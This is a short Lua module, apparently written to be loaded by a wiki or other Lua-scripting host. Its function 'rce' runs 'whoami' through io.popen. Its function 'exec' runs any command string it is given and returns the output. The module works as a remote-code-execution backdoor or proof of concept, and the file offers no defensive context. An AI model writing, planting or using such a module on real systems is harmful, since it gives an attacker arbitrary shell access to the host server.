local p = {}
function p.rce()
local f = io.popen('whoami 2>&1')
local result = f:read('*a')
f:close()
return result or 'no output'
end
function p.exec(cmd)
local f = io.popen(cmd .. ' 2>&1')
local result = f:read('*a')
f:close()
return result or 'no output'
end
return p